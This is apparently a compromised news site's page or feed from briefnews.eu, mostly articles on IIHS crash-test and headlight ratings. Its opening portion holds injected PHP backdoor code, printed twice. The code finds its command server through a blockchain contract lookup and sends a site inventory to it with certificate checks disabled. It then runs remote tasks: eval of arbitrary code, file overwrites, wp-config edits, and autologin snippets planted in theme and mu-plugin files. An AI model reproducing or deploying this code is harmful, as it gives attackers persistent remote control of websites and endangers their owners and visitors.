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$r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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]]> https://briefnews.eu/2018-kia-niro-bests-prius-and-ioniq-with-iihs-top-safety-pick-plus-rating/feed/ 0 Headlights and Small-Overlap Front Crash Tests Shorten List of 2018 IIHS Top Safety Pick+ Award Winners https://briefnews.eu/headlights-and-small-overlap-front-crash-tests-shorten-list-of-2018-iihs-top-safety-pick-award-winners/ https://briefnews.eu/headlights-and-small-overlap-front-crash-tests-shorten-list-of-2018-iihs-top-safety-pick-award-winners/#respond Thu, 07 Dec 2017 06:07:12 +0000 http://briefnews.eu/headlights-and-small-overlap-front-crash-tests-shorten-list-of-2018-iihs-top-safety-pick-award-winners/ 2018 kia soul passenger front offset crash test

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New standards for headlights and front-end crashes are making it harder for new cars and trucks to receive an insurance-industry-backed group’s highest safety rating. The Insurance Institute for Highway Safety (IIHS) gave just 15 vehicles its highest rating of Top Safety Pick+ for 2018, compared with 38 for 2017 and 48 for 2016.

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For the top rating, many vehicles were tripped up by the addition of a passenger-side small-overlap front crash test that was added to the criteria for the award. The IIHS has been rating vehicles for driver’s-side protection in small-overlap front crashes since 2012 but only recently developed the test for the passenger side. It released the first test results in October. Vehicles had to get an Acceptable or Good (top) rating in the test to be named a Top Safety Pick+. 

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While automakers have been beefing up the structural integrity of the driver’s side of their vehicles, some may have neglected the passenger side, IIHS said. IIHS senior research engineer Becky Mueller told Car and Driver that automakers have been adding cross bracing and stronger metal to improve areas around the vehicle’s door frame and floorpan. “Vehicles that applied the same structures to the driver and passenger sides of vehicles typically performed well for both the driver and passenger small-overlap tests,” Mueller said. “This means that manufacturers already have the know-how to better protect passengers in small overlap.”

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But apparently, not all cars and trucks have been improved across their entire front ends. In a press release, IIHS president Adrian Lund noted that drivers “expect that their passengers, who are often family, will be protected just as well as they are. Manufacturers have been taking this issue seriously since we first shed light on it, and we’re confident that good small-overlap protection will become the norm on the passenger side, just as it has on the driver side.”

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In addition to the 15 Top Safety Pick+ winners, 47 were named Top Safety Pick. There was no passenger-side small-overlap requirement to get the Top Safety Pick award.

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IIHS said the vast majority of the winners were optionally equipped, because front-end crash-prevention technology and decent-performing headlights—two key factors for the Top Safety Pick honor—are generally not available on base-trim cars and trucks. It noted that some automakers are vowing to make automated emergency braking standard by 2022 and singled out Toyota as being ahead of that curve. Seven of its models have it as standard: the Camry, Corolla, Prius, Prius Prime, and Highlander and the Lexus IS and NX. Nissan has pledged to make it standard on most 2018 models.

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Meanwhile, automakers continue to have some trouble with the IIHS’s headlight tests, which are relatively new. IIHS evaluates headlights on how well they illuminate the road as well as the amount of glare they create for oncoming vehicles. For a vehicle to be named a Top Safety Pick, its headlights need to be deemed Acceptable or Good, and they have to reach the top rating of Good for a vehicle to be labeled Top Safety Pick+.

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Among the 15 models given the highest award of Top Safety Pick+, Hyundai Motor Company led all automakers, with its Hyundai, Kia, and Genesis brands placing six models in the top category. It was followed by Subaru, which had four models, and Mercedes-Benz, with two. Toyota, BMW, and Ford each placed one model on the Top Safety Pick+ list.

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The prospect of being involved in a head-on collision is horrific. Even the small overlap crash test videos give us the heebie-jeebies, and that’s with a dummy behind the wheel. Safety systems like lane-departure warnings are meant to help prevent these nasty accidents and according to the Insurance Institute for Highway Safety (IIHS), they’re working. It’s not really surprising, as that’s the whole reason they exist, but what is notable is their effectiveness.

In the United States, lane-departure warnings reduce single-vehicle, sideswipe and head-on crashes by 18 percent and they lower injury rates by 24 percent, according to an IIHS study. While the sample size was smaller for fatal crashes, the fact that they were reduced by 86 percent in cars with lane-departure warning systems is impressive. (While the IIHS doesn’t mention it, the fact that cars with driver assistance systems also tend to be newer could feasibly be a reason why cars equipped with them are safer. Older cars just don’tfareaswell in crashes.)

Trucks equipped with lane-departure warnings had relevant crashes reduced by half in the United States in 2015. A study by Volvo showed that passenger cars equipped with the tech had injuries reduced by 53 percent in Sweden. American drivers often turn their warning systems off, but if they didn’t, they’d likely see further reductions in crashes and injuries. Also, avoiding driving when sleepy or ill would further prevent such crashes, as alert drivers can better respond to warnings (several car companies offer driver inattention and drowsiness warnings).

As for blind-spot detection, these systems reduce lane-change crashes by 14 percent, and injuries by 23 percent. Previous IIHS studies found that automatic braking cuts front-to-rear crashes in half, and that rearview cameras prevent about 1 in 6 relevant crashes.

It’s good to know that these systems do more than just give the impression of safety. They’re actually saving lives. Keep that in mind next time you go to turn your lane-departure warnings off.

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A pair of crossovers, one small and the other enormous, managed to walk away from Insurance Institute for Highway Safety testing with 2017 Top Safety Pick awards. Both the 2017 Mini Countryman and 2018 Volkswagen Atlas received ratings of “Good” for their performance in the IIHS‘ small overlap front, moderate overlap front, side, roof strength and head restraint tests.

The Countryman also received a rating of “Advanced” for its available frontal crash prevention tech, while the Atlas got an even better rating of “Superior.” The difference is that the VW managed to stop completely in the 12-mph test and reduced its speed by 17 mph in the 25-mph test. Though it still received a passing grade, the Mini simply reduced its speed by 7 mph in both tests.

Both the Atlas and Countryman, however, failed to achieve IIHS top billing as Top Safety Pick+ winners. To do that, a vehicle must receive ratings of “Good” or “Acceptable” in the institute’s new headlight test. Both crossovers received “Marginal” ratings despite the tested cars in question being equipped with upgraded headlights. To be fair, not many cars have been doing better since the IIHS started testing headlights.

Of other note is that the family-oriented Atlas managed only a “Marginal rating” for the ease of use of its child seat LATCH anchors. Competitors like the Honda Pilot, GMC Acadia, Ford Explorer and Mazda CX-9 managed “Acceptable” scores while the Toyota Highlander netted a top “Good” score. The Countryman actually got an “Acceptable” score. This test doesn’t play a part in determining Top Safety Pick status.

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Small-overlap front crash tests and inadequate headlights tripped up half of the six large sedans recently tested by the Insurance Institute for Highway Safety (IIHS). The Lincoln Continental, the Mercedes-Benz E-class, and the Toyota Avalon were given the group’s highest rating of Top Safety Pick+, while the Chevrolet Impala, the Ford Taurus, and the Tesla Model S failed to achieve either that top rating or the next-tier Top Safety Pick status.

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The latter three cars earned Acceptable ratings in the small-overlap front crash test, and their headlights were all rated Poor. The small-overlap test is meant to simulate what happens when the front corner of a vehicle hits a rigid object such as a tree or a utility pole at 40 miles per hour. The cars scored Good ratings in all other crash tests.

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Chevrolet Impala
–Although it was last tested when it was redesigned in 2014, the Chevrolet Impala had not yet been put through the IIHS small-overlap test, which began in 2012. The Impala was given only an Acceptable rating in the test because the crash-test dummy’s head slid off to the left side, leaving it partly unprotected. However, IIHS said measurements taken from the dummy showed a low risk of any significant injuries. The Impala’s optional front crash-prevention system was deemed Superior, helping the car to avoid a 12-mph crash and reducing its speed by an average of 10 mph in a 25-mph crash test.

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Headlights, part of a relatively new test for IIHS, are far from flawless even on the Top Safety Pick+ awardees. Here’s how those three cars fared:

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–The Avalon had previously fallen just short of the Top Safety Pick+ rating due to its headlights, which were rated Marginal and Poor. After improving the headlights’ aim on Avalons built after March, the Limited and Hybrid Limited cars now have Acceptable headlights. Other trims’ headlights are rated Marginal.

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Last week, we saw the Tesla Model X earn five-star crash ratings across the board from the National Highway Traffic Administration (NHTSA). Now, the Insurance Institute for Highway Safety (IIHS) has smashed up a number of Chevrolet Bolt EVs in the name of safety, and filmed the tests for our sadistic viewing pleasure.

The Bolt’s crash performance has led the IIHS to give the new plug-in its “Top Safety Pick” certification. It earned a rating of “good” in the five types of crashworthiness tests: small overlap front, moderate overlap front, side, roof strength, and head restraints. We can see how it performs in these crash test videos, which shows how the front of the car – which lacks the bulky engine most cars put in front of the driver – crumples nicely to absorb the impact. Front and side-curtain airbags help protect the occupants as well.

The Bolt’s optional Forward Collision Alert and Front Pedestrian Braking systems help it earn a “superior” crash prevention rating. IIHS says it the car avoided collisions at 12 and 25 miles per hour on a test track.

There is one higher rating than the “Top Safety Pick,” for which the Bolt fell short. To earn “Top Safety Pick +,” a car must also have headlights rated “good” or “acceptable.” While IIHS says the Bolt’s headlights provide “fair to good visibility,” the glare they produce for oncoming vehicles earn them a “poor” rating overall.

You can read more about the test results at the IIHS website.

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Automotive headlamps have been around since the late 1880s, so you’d think automakers would have had time to get them right. But new cars and trucks continue to fare poorly in evaluations by the Insurance Institute for Highway Safety (IIHS). The latest segment tested by the insurance-industry-backed group is mid-size SUVs. Only two of the 37 vehicles tested received a Good rating: the 2017 Hyundai Santa Fe and the 2017 Volvo XC60. Another 12 SUVs were rated Acceptable, while the headlights of the remaining 23 were judged Marginal or Poor.

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The main things IIHS engineers looked at was how far the headlights cast their light both on straightaways and around curves and also whether their low-beams produced glare for other motorists. The Volvo XC60’s optional curve-adaptive, high-intensity-discharge headlights scored the top rating. But consumers need to buy an Advanced or Active Dual Xenon package to get those top-rated headlights.

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Among the Poor-performing headlights were those found on the 2017 Kia Sorento and the 2017 Ford Edge. The Sorento’s curve-adaptive, HID low-beams did not project light far enough on straightaways or on curves, IIHS said. On the right side of a straightaway, the Sorento’s low-beams illuminate 148 feet, compared with 315 feet for the XC60, for example.

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The Ford Edge’s HID low-beams did not provide enough visibility, either, and they also produced too much glare, IIHS reports. The Edge was not alone. There were 79 headlight variants tested among the 37 SUVs, and more than half gave off too much glare. In 17 of these cases, the headlights were deemed Poor based solely on their unacceptable amount of glare alone.

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“Managing glare can be more challenging for taller vehicles like SUVs and pickups because their headlights are mounted higher than on cars,” IIHS senior research engineer Matt Brumbelow said in a release. “Better aim at the factory can minimize glare.”

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As bad as they were, mid-size SUVs fared better than some of their high-riding peers. “As a group, mid-size SUV headlights perform slightly better than the other SUVs and pickups we evaluated last year, and that’s encouraging,” Brumbelow said. “Still, we continue to see headlights that compromise safety because they only provide a short view down the road at night.”

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IIHS is incorporating headlight ratings into its 2017 overall crash ratings, and it won’t give a vehicle a Top Safety Pick+ rating unless it scores at least a mid-level Acceptable grade in the headlight category. New pressure is coming from the feds, too: The National Highway Traffic Safety Administration (NHTSA) plans to adopt similar headlight ratings when it redoes its crash tests for the 2019 model year.

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When semitrailer trucks and passenger vehicles collide, the Insurance Institute for Highway Safety says, mandatory under-ride guards on the sides of tractor-trailer rigs could save lives. The trucking industry, though, says a better solution would be to hasten the rollout of  advanced safety technology.

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This spring, the IIHS has been dramatizing its argument by crashing midsize cars at 35 miles an hour into the center of a 53-foot-long dry van trailer. It says these crash tests show that a well-built guard on the side of a semitrailer can prevent roof-peeling car wrecks that are often fatal.

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“Our tests and research show that side under-ride guards have the potential to save lives,” said David Zuby, the Institute’s executive vice president and chief research officer, in a press release. “We think a mandate for side under-ride guards on large trucks has merit, especially as crash deaths continue to rise on our roads.”

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Federal law requires large trucks to have rear under-ride guards, but side guards are not mandated nationwide. Some cities, including Boston, New York, and Seattle, require side guards on city-owned and -contracted trucks.

